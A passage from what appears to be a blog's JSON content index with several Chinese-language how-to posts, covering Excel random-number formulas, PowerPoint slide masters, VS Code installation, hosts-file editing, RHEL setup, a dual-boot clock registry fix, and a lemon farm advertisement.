=NORM.INV(RAND(),3.1,8.6) 3.1 8.6 =NORMINV(RAND(),0,1)舊版 1 =NORMINV(RAND(),3.1,8.6)舊版 3.1 8.6 這裡的 NORM.INV 與 NORMINV 兩個函數其作用是相同的，NORM.INV 是新版的函數，而 NORMINV 是舊版的，以下是 NORM.INV函數在 Excel 中實際測試的情況。\n以上是比較常用的幾種公式組合，接下來介紹的是這些函數的詳細說明與更進階的用法。\n亂數相關的 Excel 函數 這裡簡單介紹上面有用到的幾個函數。\nRAND 函數 Excel 的 RAND 函數可以產生大於或等於 0 且小於 1 的均勻分布（uniform distribution）隨機實數。\n若要產生介於 a 與 b 之間的隨機亂數，可使用這樣的公式：\n=RAND()*(b-a)+a 這樣所產生的數值範圍就是 a ≦ x ＜ b。\n當按下 F9 時，所有的 RAND 函數就會重新產生亂數資料。\nRANDBETWEEN 函數 Excel 的 RANDBETWEEN 函數會傳回指定區間的隨機整數，第一個參數是指定其傳回的最小的整數值，而第二個參數則是指定傳回的最大的整數值。例如產生 1 到 100 之間的亂數：\n=RANDBETWEEN(1,100) 也可以產生負數，例如產生 -10 到 10 之間的亂數：\n=RANDBETWEEN(-10,10) 當按下 F9 時，所有的 RANDBETWEEN 函數就會重新產生亂數資料。\nNORM.INV 函數 Excel 的 NORM.INV 函數可傳回特定常態累積分布函數之反函數值，其第一個參數是常態分布的機率值，第二個與第三個參數是常態分布的平均值與標準差。\n這個函數可跟 RAND 函數結合，產生常態分布的亂數，例如產生標準常態分布的亂數：\n=NORM.INV(RAND(),0,1) NORMINV 函數 是比較舊的版本，應盡量避免使用。\nROUNDDOWN 函數 ROUNDDOWN 函數會以趨近於零的方式將小數點以下指定位數之後的值無條件捨去。例如將小數點之後的值都捨去：\n=ROUNDDOWN(3.14159, 0) 這樣得到的結果會是 3。若要保留小數點以下 2 位，而其餘捨去，可用：\n=ROUNDDOWN(3.14159, 2) 這樣得到的結果會是 3.14。\n","permalink":"https://blog.gtwang.org/windows/excel-random-number-generation-formula/","summary":"\u003cp\u003e本篇整理了各種 Excel 中常用的亂數產生公式，還有相關數學函數的用教學。\u003c/p\u003e\n\u003cp\u003eExcel 中有好幾種可以產生隨機亂數資料的函數，以下分別介紹各種不同的隨機數值資料產生方法，包含浮點數、整數或是固定位數的小數等。\u003c/p\u003e","title":"Excel 產生各種亂數的公式整理與函數教學"},{"content":"本篇介紹如何使用 PowerPoint 的母片來設定背景圖片，一次套用至所有的投影片。\n一份好的簡報除了內容豐富、排版得宜之外，背景的選擇也是很關鍵的一環，對於不熟悉 PowerPoint 操作的人，大概頂多只會從 PowerPoint 內建的佈景主題來選擇投影片的背景，雖然這些佈景主題有些設計得很不錯，但是由於 PowerPoint 內建的佈景主題數量不多，若人人都使用同樣的佈景主題時，難免會讓聽眾感覺很沒創意。\n如果想要自訂投影片的背景，可以從網路上找一些漂亮配景圖，使用 PowerPoint 的母片功能將背景圖片一次套用至全部的投影片，既簡單又快速，以下是操作步驟教學。\nStep 1\n準備好要作為背景的圖檔，一般的投影片大小比例是 4：3，而新的寬螢幕投影片大小比例則是 16：9。這類的圖片可以從網路上搜尋免費背景圖或 PowerPoint 範本來尋找。\nStep 2\n開啟要設定背景的 PowerPoint 簡報檔，點選「檢視」籤頁中 的「投影片母片」。\nStep 3\n投影片母片的編輯方式跟一般的投影片類似，而各種不同的頁面可以分開設定（例如首頁、目錄和內文等），我們先切換到首頁的母片，按下滑鼠右鍵，選擇「背景格式」。\nStep 4\n在「背景格式」工具中，選擇「圖片或材質填滿」，然後點選「檔案」選擇圖片插入來源。\nStep 5\n選擇要作為背景的圖片檔。\nStep 6\n這樣就完成首頁母片背景的設定了，而其他所有母片頁面的設定方法都一樣，我們可以依據不同類型的頁面給予不同的背景圖，讓簡報感覺更活潑。\n投影片母片有非常多張，最常用的應該只有前兩三張而已，對於比較簡單的簡報，其實只要設定前幾張應該就夠用了，沒有用到的部份可以忽略，這樣比較節省時間。\nStep 7\n這裡我只設定首頁跟一般單欄式的投影片母片，通常一般的簡報這樣就夠了。設定完成後，點選「關閉母片檢視」。\nStep 8\n關閉母片之後，就可以看到套用背景圖的結果了。\nStep 9\n切換到第二章投影片，由於我們在母片的設定上將首頁和內文的背景設成不同的背景圖檔，所以這裡就會看到第一張首頁跟第二張內容的投影片有不同的背景。\nStep 10\n瀏覽一下其他的投影片，確認一下是否每張投影片都有設定好正確的背景圖，如果發現沒有設定背景的投影片，通常都是因為該投影片的類型在母片中沒有設定背景圖，只要重新開啟母片把缺少的部份設定好就可以了。\n使用母片的好處就是它會自動套用至所有的投影片，即使是後來才新增的投影片，也會自動套用這個背景，所以只要把母片設定好，接下來就可以很輕鬆的編輯簡報內容了，不用對個別的投影片做設定，也不需要用複製與貼上的功能來新增投影片。\n","permalink":"https://blog.gtwang.org/windows/powerpoint-how-to-use-mother-substrate-background/","summary":"\u003cp\u003e本篇介紹如何使用 PowerPoint 的母片來設定背景圖片，一次套用至所有的投影片。\u003c/p\u003e\n\u003cp\u003e一份好的簡報除了內容豐富、排版得宜之外，背景的選擇也是很關鍵的一環，對於不熟悉 PowerPoint 操作的人，大概頂多只會從 PowerPoint 內建的佈景主題來選擇投影片的背景，雖然這些佈景主題有些設計得很不錯，但是由於 PowerPoint 內建的佈景主題數量不多，若人人都使用同樣的佈景主題時，難免會讓聽眾感覺很沒創意。\u003c/p\u003e","title":"PowerPoint 母片設定背景圖片教學，套用至所有投影片"},{"content":"這裡介紹如何在 Linux 中安裝與使用免費的 Visual Studio Code 來開發各種程式，以及撰寫網頁。\n微軟免費釋出的 Visual Studio Code 除了在 Windows 與 Mac OS X 之外，連 Linux 也可以安裝與使用，現在這個年代微軟與 GNU/Linux 開放原始碼陣營的分野似乎沒像以前那樣明顯了。\n以下是在 Linux 中安裝與使用 Visual Studio Code 的教學。\n安裝 Visual Studio Code Step 1\n從微軟 Visual Studio Code 的官方網站下載 Linux 的安裝檔。\nStep 2\n用 unzip 解壓縮：\nunzip VSCode-linux-x64-stable.zip 將解壓縮出來的 VSCode-linux-x64 目錄放置在適當的位置，像這樣自行安裝的軟體，通常可以放在 /opt 下面：\nsudo mv VSCode-linux-x64 /opt/ Step 3\n執行 Visual Studio Code：\n/opt/VSCode-linux-x64/code 若在 Ubuntu Linux 中開啟 Visual Studio Code 之後，可以將 Visual Studio Code 圖示設定保留在啟動欄，這樣以後就可以很方便的開啟 Visual Studio Code。\n我們之前已經介紹過 Mac OS X 版本的 Visual Studio Code，由於 Visual Studio Code 的使用方式不管在那一個作業系統都差不多，可以互相參考。\n對於像我這樣的 Linux 慣用者來說，Vim 編輯器是我最常用的編輯器，而 Visual Studio Code 的 Marketplace 也有提供 Vim 的模擬器擴充功能可以使用，不過目前最多人下載的 Vim 擴充功能並不是最好用的，如果您想要使用 Vim 的編輯功能，目前比較推薦的是 amVim（目前在 Marketplace 的評價是最高的一個）。\n參考資料 OMG Ubuntu ","permalink":"https://blog.gtwang.org/programming/linux-install-and-use-visual-studio-code-ide/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中安裝與使用免費的 Visual Studio Code 來開發各種程式，以及撰寫網頁。\u003c/p\u003e\n\u003cp\u003e微軟免費釋出的 Visual Studio Code 除了在 Windows 與 \u003ca href=\"/programming/mac-os-x-install-and-use-visual-studio-code-ide/\"\u003eMac OS X\u003c/a\u003e 之外，連 Linux 也可以安裝與使用，現在這個年代微軟與 GNU/Linux 開放原始碼陣營的分野似乎沒像以前那樣明顯了。\u003c/p\u003e","title":"Linux 安裝與使用免費的 Visual Studio Code 程式開發 IDE"},{"content":"透過 hosts 設定檔手動設定主機名稱與 IP 位址是系統與網站管理者常用的除錯技巧，以下我們將介紹這個好用小功能該怎麼使用。\n在架設網站時，除了伺服主機的網路設定之外，還要配合 DNS 伺服器才能讓網站正常運作，而 DNS 上面的記錄在變更之後，通常都會需要幾個小時才會生效，所以很多人在架設網站初期都會浪費許多時間在等待 DNS 生效，才進行後續的設定，其實我們可以在 DNS 生效之前，以動的方式自行先設定自己電腦上的 hosts 檔，加速網站的建置工作。\n另外在轉移網站的過程中，也可以利用 hosts 設定檔來測試新主機空間是否有正常運作，確保在網站轉移之後不會出問題，維持不中斷的網站服務。\nhosts 設定檔是什麼？ 對於網際網路的基礎知識有了解的人應該都清楚網址與 IP 的對應關係，每個網站的網址都會對應一個或多個 IP 位址，當使用者要連上一個網站之前，要先知道網站的網址（如 blog.gtwang.org），接著連線至 DNS 伺服器，查詢該網址所對應的 IP 位址，獲得網站的實際 IP 位址之後，才能連上該網站瀏覽上面的內容。\nDNS 伺服器的作用就是負責將網址轉換成 IP 位址，而 hosts 設定檔的作用跟 DNS 伺服器相同，這個檔案裡面紀錄了一些網址與 IP 位址的對應表，一般的電腦在需要查詢網址與 IP 位址的時候，會先開啟這個檔案來查詢，如果這個檔案裡面剛好有電腦需要查詢的對應記錄，就可以直接連上網站來瀏覽；如果從 hosts 設定檔裡面查不到，才會連線至 DNS 伺服器來查詢。\n這個 hosts 設定檔在台電腦中都有，只是一般人可能沒注意到它的存在，也沒有在這個檔案加入任何對應的內容，當這個檔案沒有任何內容時，就等於沒有任何作用，所有的網址與 IP 位址的對應還是會依賴 DNS 伺服起來處理，絕大部分的電腦應該都是處於這樣的狀況。\n如何設定 hosts 檔？ hosts 設定檔在 Windows 與 Linux 系統上都有，而且裡面的資料格式完全一樣，只是放置檔案的目錄有差異而已，以下我們說明在這兩種系統該怎麼修改裡面的內容。\nWindows 系統 Windows 系統的 hosts 設定檔路徑是：\nC:\\WINDOWS\\system32\\drivers\\etc\\hosts 由於 hosts 設定檔沒有任何副檔名，所以在開啟時要自行選擇編輯器，如果沒有特別喜好的編輯器的話，用記事本開啟就可以了。\n這個 hosts 設定檔的內容預設應該都只有註解（# 開頭的就是註解），沒有什麼特別的內容，我們可以在檔案的最後加上自己的設定，第一個欄位是 IP 位址，然後使用空白或 Tab 分隔，第二個欄位就放主機的 FQDN（也就是網址）。\n# Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a \u0026#39;#\u0026#39; symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host # localhost name resolution is handled within DNS itself. #\t127.0.0.1 localhost #\t::1 localhost 45.118.135.69\tblog.gtwang.org\t# G.T.Wang 部落格 這裡我拿我的部落格網址 blog.gtwang.org 做示範。\n由於這個設定檔是屬於系統的檔案，一般的使用者沒有權限修改，如果直接存檔的話會出現這樣的訊息。\n我們可以將新的 hosts 檔另存新檔，儲存在別的目錄中，然後在用滑鼠拖進系統的 etc 目錄。\n然後選擇「取代目的地中的檔案」。\n選擇「繼續」提供系統管理員權限，讓 hosts 檔放進該資料夾。\n這樣就完成 Windows 系統的 hosts 設定檔的修改了。\nLinux 系統 在 Linux 系統上 hosts 設定檔放在 /etc/hosts，如果要修改它，要使用 root 管理者權限修改：\nsudo vi /etc/hosts 其內容與資料的格式都跟 Windows 的 hosts 檔相同：\nMac OS X 系統 在 Mac OS X 系統上的撮作方式也跟 Linux 類似，編輯 hosts 設定檔：\nsudo vi /etc/hosts 其中的格式也跟 Linux 的 hosts 一樣。\n編輯完 hosts 之後，要清除 DNS 快取，讓新設設定生效。\n# Yosemite (10.10) discoveryutil mdnsflushcache # Mavericks, Mountain Lion, and Lion (10.7 - 10.9) killall -HUP mDNSResponder # Snow Leopard (10.6 and older) dscacheutil -flushcache hosts 設定檔用途 大部分的使用者可能不會需要使用到 hosts 設定檔，反而是有些惡意程式（病毒）會竄改 hosts 設定檔，讓使用者連線至某些特定的網頁主機（俗稱綁架網頁），遇到這樣的狀況就可以去檢查一下 hosts 設定檔，看看有沒有什麼異常的記錄在裡面。\n舉例來說，如果您發現您電腦中的 hosts 記錄檔裡面有類似這樣的記錄：\n12.34.67.78 tw.yahoo.com 45.32.83.18 www.google.com.tw 192.94.57.8 www.pchome.com.tw 那就表示您的電腦可能已經中毒了，因為通常網路上公開的網站都是透過 DNS 伺服器來查詢網址與 IP 的對應關係，不會使用 hosts 設定檔，會寫在 hosts 檔中的大部分都是內部網路的主機，也就是說這裡通常只會有私人的主機，如果出現公開的網站的話，就有點不太正常。\n除了惡意程式的問題之外，網站的管理者也時常有機會使用 hosts 設定檔來測試自己網站，以我個人的經驗來說，當架設新網站或是轉移網站的過程都會需要藉由修改 hosts 設定檔，在網站正式公開之前，對網站做一些測試，避免公開網站後才發現問題，影響訪客的瀏覽。\n在更換網頁主機（網站搬家）時，如果 hosts 設定檔運用得當，甚至可以讓網站維持 100% 的 uptime，網頁主機更換的過程中，完全不會影像使用者的瀏覽。\n參考資料 The Will Will Web Linode ","permalink":"https://blog.gtwang.org/windows/windows-linux-hosts-file-configuration/","summary":"\u003cp\u003e透過 \u003ccode\u003ehosts\u003c/code\u003e 設定檔手動設定主機名稱與 IP 位址是系統與網站管理者常用的除錯技巧，以下我們將介紹這個好用小功能該怎麼使用。\u003c/p\u003e\n\u003cp\u003e在架設網站時，除了伺服主機的網路設定之外，還要配合 DNS 伺服器才能讓網站正常運作，而 DNS 上面的記錄在變更之後，通常都會需要幾個小時才會生效，所以很多人在架設網站初期都會浪費許多時間在等待 DNS 生效，才進行後續的設定，其實我們可以在 DNS 生效之前，以動的方式自行先設定自己電腦上的 \u003ccode\u003ehosts\u003c/code\u003e 檔，加速網站的建置工作。\u003c/p\u003e","title":"手動設定網址與 IP 對應的 hosts 檔教學，適用 Windows、Mac OS X 與 Linux 系統"},{"content":"本篇介紹屏東潮州的無毒檸檬，是認識的朋友栽種的，自產自銷、價格實惠。\n這座「一沐子檸檬果園」位於屏東縣潮卅鎮郊區，採用無毒的方式栽種，堅持不使用除草劑、蝸牛藥、成長激素與農藥，只有用點有機肥，讓檸檬自然生長，保護土壤的自然生命力。\n在採收前要先除草，不然沒路進去，這裡的檸檬就是這樣自然長大的！\n名稱：一沐子無毒檸檬\n產地：屏東潮州\n價格：每斤 65 元。\n運費：30 斤裝運費 100 元，40 斤與 50 斤裝運費 155 元\n出貨日：每月 20 至 25 日左右出貨\n電話： 0938-397-818 李小姐\n因為這裡的檸檬栽種都是採用天然環保的方式，沒有使用任何成長激素，所以檸檬成長的速度比較慢、產量也不多，欲訂購者必須事先預購排單，每月 20 至 25 日出貨（園長李小姐只有這段時間會回去屏東果園採收，其餘時間都在外地）。\n","permalink":"https://blog.gtwang.org/agriculture/nontoxic-lemon-chaozhou-pingtung/","summary":"\u003cp\u003e本篇介紹屏東潮州的無毒檸檬，是認識的朋友栽種的，自產自銷、價格實惠。\u003c/p\u003e\n\u003cp\u003e這座「一沐子檸檬果園」位於屏東縣潮卅鎮郊區，採用無毒的方式栽種，堅持不使用除草劑、蝸牛藥、成長激素與農藥，只有用點有機肥，讓檸檬自然生長，保護土壤的自然生命力。\u003c/p\u003e","title":"[屏東潮州] 無毒檸檬，自產自銷"},{"content":"Google Nik 相片編輯包是一套免費的 Photoshop 專業級修圖外掛工具，可以讓您輕鬆製作出高品質的照片。\nNik Software 是一家軟體開發公司，其所發展的 Nik Collection 影像特效工具可以讓使用者輕鬆製作出個各種專業品質的照片，例如傳統相機風格效果、HDR 後製、黑白攝影藝術照、雜訊抑制、影像銳化、色彩校正、色調調整等，是一套非常實用的照片特效工具。\n在 2012 年的時候，Google 收購了 Nik Software，將 Nik Collection 這套專業工具的售價從原價 499 美元降為 149 美元，而現在 Google 直接將 Nik Collection 免費釋出，讓所有人都可以直接下載使用。\nNik Collection 這套工具是 Adobe 系列產品的外掛程式，需要搭配 Photoshop 或 Lightroom 等軟體使用，以下我用 Photoshop CC 2015 來示範如何安裝與使用 Nik Collection 來修圖。\nStep 1\n從 Google Nik 相片編輯包的官方網站下載安裝檔，這個安裝檔的大小有 450 MB 左右，下載需要一點時間。\nStep 2\n下載完成後，執行安裝。\nStep 3\n點選「下一步」。\nStep 4\n許可證協議，請點選「我同意」。\nStep 5\n選取安裝位置，並點選「下一步」。\nStep 6\n選擇兼容的主機應用程式，Nik Collection 需要搭配 Photoshop 或 Lightroom 等軟體使用，這裡至少要有一個兼容的主機應用程式才能使用。選擇好之後，點選「安裝」。\nStep 7\n等待 Nik Collection 安裝完成。\nStep 8\n點選「完成」。\nStep 9\n使用 Photoshop（或 Lightroom）開啟要編輯的照片，這時候應該就會看到 Nik Collection 的工具視窗。\n從 Nik Collection 工具視窗中選擇要使用的特效工具，就可以對照片加上各種效果了。\nStep 10\n而除了使用工具視窗上面的按鈕，也可以從主選單中選擇 Nik Collection 的各種功能。\n這是 Analog Efex Pro 2 工具，可以讓照片轉為傳統相機、底片和鏡頭所拍出的風格與質感。\n可以將照片左右分割，觀察套用特效前後的差異。\n這是 Color Efex Pro 4 濾鏡工具，可以幫助校正色彩、修飾相片及增添各種創意效果。\n這是 Silver Efex Pro 暗房工具，可製作黑白攝影的藝術照片。\n這是 Viveza 工具，可以不用靠複雜的遮罩或選項，選擇性地調整相片的顏色和色調。\n這是 Sharpener Pro，利用專業級影像銳化技術，讓暗部的細節變得清晰鮮明。\n這是 Dfine 2 雜訊抑制工具，可以提高影像品質。\n這是 HDR Efex Pro 工具，可以進行各種 HDR 的後製。\n其實從 Nik Collection 的原價（499 美元）就可以看的出來，它是一套相當專業的影像特效工具，能夠調整的細部選項相當多，您可以用他來製作非常精緻的照片，對於時常需要處理照片的人來說，真的是一個很實用的工具。\n參考資料 電腦玩物 ","permalink":"https://blog.gtwang.org/useful-tools/google-nik-collection-for-photoshop/","summary":"\u003cp\u003eGoogle Nik 相片編輯包是一套免費的 Photoshop 專業級修圖外掛工具，可以讓您輕鬆製作出高品質的照片。\u003c/p\u003e\n\u003cp\u003eNik Software 是一家軟體開發公司，其所發展的 Nik Collection 影像特效工具可以讓使用者輕鬆製作出個各種專業品質的照片，例如傳統相機風格效果、HDR 後製、黑白攝影藝術照、雜訊抑制、影像銳化、色彩校正、色調調整等，是一套非常實用的照片特效工具。\u003c/p\u003e","title":"Google Nik 相片編輯包：免費 Photoshop 專業級修圖外掛工具"},{"content":"這裡示範如何安裝企業級的 Red Hat Enterprise Linux（RHEL），並且向 Red Hat 訂閱管理程式（Subscription Management）註冊。\n自從 Red Hat 官方開放 Red Hat Enterprise Linux（RHEL）免費下載之後，自己架設 Linux 伺服器的管理者又多了一種更可靠的發行版可以選擇，以下示範如何安裝 RHEL 7.2 版，並且向 Red Hat Subscription Management 註冊。\nStep 1\n使用 RHEL 的安裝光碟開機，選擇「Test this media \u0026amp; install Red Hat Enterprise Linux 7.2」。（RHEL 的 iso 檔下載方式請參考免費下載官方 Red Hat Enterprise Linux 企業級版本）\nStep 2\n選擇要使用的語言。\nStep 3\n這是安裝摘要，請依照自己的狀況進行必要的調整。\nStep 4\n在軟體選擇的部份，可以選擇想要安裝的類型，以及是否要安裝各個附加元件。\nStep 5\n在安裝目的地的部份，要設定安裝的硬碟與分割方式，若使用整顆硬碟安裝，就用預設值即可。\nStep 6\n網路與主機名稱的部份可以設定網路連線。\nStep 7\n其餘的部份應該是不太需要更動，有需要的話可以自行調整。設定好之後，請點選「開始安裝」。\nStep 8\n在安裝的過程中，要設定管理者與使用者的帳號和密碼。\nStep 9\n設定 root 管理者密碼。\nStep 10\n建立一般使用者帳號。\nStep 11\n設定好之後，就等待安裝過程至結束。\nStep 12\n安裝完成後，點選「重新開機」。\nStep 13\n重新開機後，選擇第一個「Red Hat Enterprise Linux Server」。\nStep 14\n進行初始設定。\nStep 15\n在授權資訊的部份，請點選「我接受此授權協議」。\nStep 16\n設定 Subscription Manager，點選「下一步」。\nStep 17\n輸入自己在 Red Hat Developers 註冊時所設定的帳號與密碼。\nStep 18\n確認訂閱，點選「連接」。\nStep 19\n註冊完成後，點選「完成」。\nStep 20\n最一個網路與主機名稱如果需要修改的話，請自行修改。\nStep 21\n使用剛剛建立的使用者帳號登入。\nStep 22\n這樣就完成 Red Hat Enterprise Linux 7.2 的安裝了。\n這是 Red Hat 訂閱管理程式。\n以上就是 RHEL 的安裝過程。\n","permalink":"https://blog.gtwang.org/linux/install-red-hat-enterprise-linux-rhel-server-72/","summary":"\u003cp\u003e這裡示範如何安裝企業級的 Red Hat Enterprise Linux（RHEL），並且向 Red Hat 訂閱管理程式（Subscription Management）註冊。\u003c/p\u003e\n\u003cp\u003e自從 Red Hat 官方開放 Red Hat Enterprise Linux（RHEL）免費下載之後，自己架設 Linux 伺服器的管理者又多了一種更可靠的發行版可以選擇，以下示範如何安裝 RHEL 7.2 版，並且向 Red Hat Subscription Management 註冊。\u003c/p\u003e","title":"企業級 Red Hat Enterprise Linux（RHEL）安裝教學"},{"content":"這裡教大家如何從 Red Hat 官方網站免費下載企業級的 Red Hat Enterprise Linux（RHEL）。\nRed Hat 可以說是全世界最重要的 Linux 與開放原始碼技術供應商，常見的 RPM 就是 Red Hat Package Manager 的縮寫，其 RHCE（Red Hat Certified Engineer）也是長久以來被世界公認的 Linux 認證標準。\nRed Hat Linux 是最早出現的企業級 Linux 版本，演變到後來變成付費的 Red Hat Enterprise Linux（RHEL），由於一直以來 RHEL 都是需要付費購買的，所以許多人都會使用 CentOS 來代替。\n而最近 Red Hat 官方提供 Red Hat Developers 開發人員免費下載 RHEL 的服務，只要註冊成為開發者之後就可以直接下載，所以現在需要高安全性與穩定性的系統，也可以輕鬆安裝 RHEL 了，以下是註冊與下載的步驟。\nStep 1\n開啟Red Hat Developers 的網頁，註冊為這個網站的會員，他有提供使用 Google 與 Facebook 帳號快速註冊的功能，滑鼠點幾下就可以完成註冊了。\nStep 2\n接著在「DOWNLOADS」頁面，點選「Red Hat Enterprise Linux」的「Download Latest」下載連結。\nStep 3\n第一次下載的人，會出現這樣的資料輸入頁面，這裡要填入比較詳細的個人資料，例如電話、地址等等。\nStep 4\n資料填寫完成之後，就會自動開始下載 RHEL 的 iso 映像檔了。\n由於在填寫資料後，似乎沒有經過人工認證，只要資料正確，馬上就可以下載，非常快速就可以取得正版的 RHEL，這對於想要考 RHCE 的人來說，真的很有用 。\n參考網站：ZDNet\n","permalink":"https://blog.gtwang.org/linux/download-red-hat-enterprise-linux-rhel-from-official-website/","summary":"\u003cp\u003e這裡教大家如何從 Red Hat 官方網站免費下載企業級的 Red Hat Enterprise Linux（RHEL）。\u003c/p\u003e\n\u003cp\u003eRed Hat 可以說是全世界最重要的 Linux 與開放原始碼技術供應商，常見的 RPM 就是 Red Hat Package Manager 的縮寫，其 RHCE（Red Hat Certified Engineer）也是長久以來被世界公認的 Linux 認證標準。\u003c/p\u003e","title":"免費下載官方 Red Hat Enterprise Linux（RHEL）企業級版本"},{"content":"最近上網買了米森的有機巧克力穀脆餅，開箱紀錄一下。\n早餐除了麥片之外，有些小朋友會比較喜歡吃這種巧克力的穀物脆片，我最近從青荷有機的網站上購買了兩盒米森的有機巧克力穀脆餅，吃吃看有機的穀物脆片感覺如何。\n米森的有機巧克力穀脆餅是從北歐的芬蘭進口，無添加防腐劑、人工香料及色素，通過慈心有機認證。\n這是米森的有機巧克力穀脆餅的外盒，跟一般市售的穀物脆片比起來，它比較小盒，淨重只有 60 公克。\n打開之後，裡面是鋁箔的封口袋。\n這是米森有機巧克力穀脆餅倒出來的樣子，它跟一般的穀物脆片可以直接吃，也可以泡牛奶、豆漿等。\n這是泡牛奶一起吃的樣子。\n有機的穀物脆片吃起來比較天然，不會像有些市售的穀物脆片有奇怪的味道。\n這款米森有機巧克力穀脆餅是還不錯，只是它一盒只有 60 公克，一下子就吃完了。\n以下是青荷有機網站官方的介紹。\n","permalink":"https://blog.gtwang.org/unboxing/vilson-organic-chocolate-crispy/","summary":"\u003cp\u003e最近上網買了米森的有機巧克力穀脆餅，開箱紀錄一下。\u003c/p\u003e\n\u003cp\u003e早餐除了麥片之外，有些小朋友會比較喜歡吃這種巧克力的穀物脆片，我最近從青荷有機的網站上購買了兩盒米森的有機巧克力穀脆餅，吃吃看有機的穀物脆片感覺如何。\u003c/p\u003e","title":"[開箱] 米森有機巧克力穀脆餅"},{"content":"這裡敘述如何修正 Windows 與 Linux 系統時間格式衝突，解決重開機時間就跑掉的問題。\n如果一台電腦同時有安裝 Windows 與 Linux 兩種系統（或是 Windows 與 Android），在重新開機切換系統時，系統的時間會跟正確的時間差了幾個小時，這是一個長久以來都一直存在的小問題。\n這個問題是由於 Windows 是使用本地時區（local time zone）來儲存系統的時間，而 Linux、Android 與 Mac OS X 等系統則是使用格林威治標準時間（Greenwich Mean Time，GMT）來儲存系統時間，所以當 Windows 設定好的時間被 Linux 讀取時，通常就會產生幾個小時的時差，以台灣來說就會差 8 小時，反之從 Linux 切換為 Windows 系統也會有一樣的問題。\n有些 Linux 發行版會自動偵測電腦上是否有安裝 Windows 系統，如果發現存在有 Windows 系統，就會使用本地時區來儲存時間，自動解決這樣的問題，不過在許多的 Linux 系統上都還是會有這樣的問題。\n以下我們介紹如何透過修改 Windows 系統的登錄機碼（registry），將 Windows 的時間儲存格式改為格林威治標準時間，讓所有系統的時間格式維持一致。\n這裡敘述的方法只適用於 Windows 7 以後的作業系統，Windows XP 與 Vista 無法使用（不過現在應該也沒有人在用這兩種系統了）。\n修改 Windows 登錄機碼 Step 1\n使用搜尋功能，找尋「regedit」登錄機碼編輯器。\nStep 2\n開啟登錄機碼編輯器之後，找到這個路徑：\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation Step 3\n在這個路徑之下新增一個「DWORD（32-位元）值」。\nStep 4\n將這個新增的登錄機碼命名為 RealTimeIsUniversal。\nStep 5\n用滑鼠點兩下這個新的 RealTimeIsUniversal 登錄機碼，將它的數值資料從 0 改為 1，並且按下「確定」儲存起來。\nStep 6\n最後重新啟動 Windows 系統之後，就完成了。\n經過這樣的設定，Windows 就會以格林威治標準時間來儲存系統的時間資料，以後 Windows 與 Linux 就不會再出現時間的差異問題了。\n參考資料 liliputing ","permalink":"https://blog.gtwang.org/linux/fix-time-problem-dual-boot-computers-windows-linux/","summary":"\u003cp\u003e這裡敘述如何修正 Windows 與 Linux 系統時間格式衝突，解決重開機時間就跑掉的問題。\u003c/p\u003e\n\u003cp\u003e如果一台電腦同時有安裝 Windows 與 Linux 兩種系統（或是 Windows 與 Android），在重新開機切換系統時，系統的時間會跟正確的時間差了幾個小時，這是一個長久以來都一直存在的小問題。\u003c/p\u003e","title":"修正 Windows 與 Linux 系統時間格式衝突問題"},{"content":"這裡介紹在 Mac OS X 中如何安裝與使用免費的微軟 Visual Studio Code 來開發各種類型的程式。\n微軟提供的 Visual Studio Code 是一個免費的輕量級軟體開發工具，同時支援 Windows、Mac OS X 與 Linux 系統，對於有跨平台開發需求的開發者，Visual Studio Code 是一個非常方便的程式碼編輯工具。\n安裝 Visual Studio Code 以下是 Visual Studio Code 在 Mac OS X 中的安裝與基本使用方式。\nStep 1\n從微軟 Visual Studio Code 的官方網站下載 Visual Studio Code 的 Mac OS X 版安裝檔。\nStep 2\nMac OS X 版本的 Visual Studio Code 下載下來的檔案是一個 zip 壓縮檔，解壓縮之後就是 Visual Studio Code 應用程式，將這個應用程式用滑鼠拖曳進「應用程式」目錄中就完成安裝了。\nStep 3\n安裝好 Visual Studio Code 之後，就可以使用它來開發各種程式語言的專案了，它支援的程式語言種類很多，例如 Batch、Clojure、Coffee Script、Dockerfile、F#、Go、Jade、Java、Makefile、Objective-C、Perl、PowerShell、Python、R、Razor、Ruby、Rust、SQL、Visual Basic 與 XML 等，\n可以分割程式碼編輯視窗，同時比較多的檔案內容。\n還有自動完成（autocomplete）的功能。\nVisual Studio Code 原生就支援 R 程式碼的編輯，連自動完成的功能也可以使用，這一點是一般編輯器比較少見的。\n使用 Visual Studio Code 除錯 Visual Studio Studio 原生就支援 Node.js 程式的執行與除錯（debug），對於 JavaScript 的開發者來說相當方便。\n這是對 JavaScript 程式設定中斷點，並監看各個變數值的狀況。\n至於其他程式語言可以從 Visual Studio Code Marketplace 網站下載並安裝對應的除錯擴充功能來使用，請繼續閱讀下一頁。\nMarketplace 在 Visual Studio Code Marketplace 網站上有非常多的外掛程式可以下載使用，如果您想要的功能在 VS Code 中沒有內建，就可以從這裡找找看。\n這裡我們示範如何安裝 Python 的除錯擴充功能，讓 VS Code 可以對 Python 的程式進行逐步的除錯。\nStep 1\n在 Visual Studio Code Marketplace 網站 搜尋 Python 的除錯擴充功能。\nStep 2\n進入 Python 的除錯擴充功能的 Marketplace 頁面，將安裝（Installation）的指令複製起來。\nStep 3\n在 VS Code 中按下 ⌘ + p 快速鍵，將剛剛複製的安裝指令貼上去，並按下 Enter 鍵執行安裝。\nStep 4\n過了幾秒鐘，等待安裝完成後，會出現重新啟動 VS Code 的訊息，請點選「Restart Now」重新啟動 VS Code。\nStep 5\n重新啟動 VS Code 之後，就可以使用 Python 的除錯功能了。\n在 Marketplace 上面有很多擴充功能可以使用，通常安裝幾個自己需要的功能之後，就可以讓 VS Code 變得非常實用。\n佈景主題 VS Code 裡面內建十幾種佈景主題，程式設計師可以選擇選擇自己喜歡的色調。\n如果感覺 VS Code 內建的佈景主題不夠的話，也可以自己安裝 ColorSublime 上的佈景主題，安裝方式請參考 VS Code 的說明。\n快速鍵 資深的程式設計師在使用 IDE 時，都會使用大量的快速鍵代替滑鼠，這對於程式開發的速度與效率會有顯著的提升。\nVisual Studio Code 提供了非常大量的快速鍵組合，幾乎所有常用的動作都可以透過快速鍵來完成，以下是一些編輯程式碼時常用的快速鍵組合：\n快速鍵 功能 ⌘ + x 剪下一整行（沒有選取文字的情況）。 ⌘ + 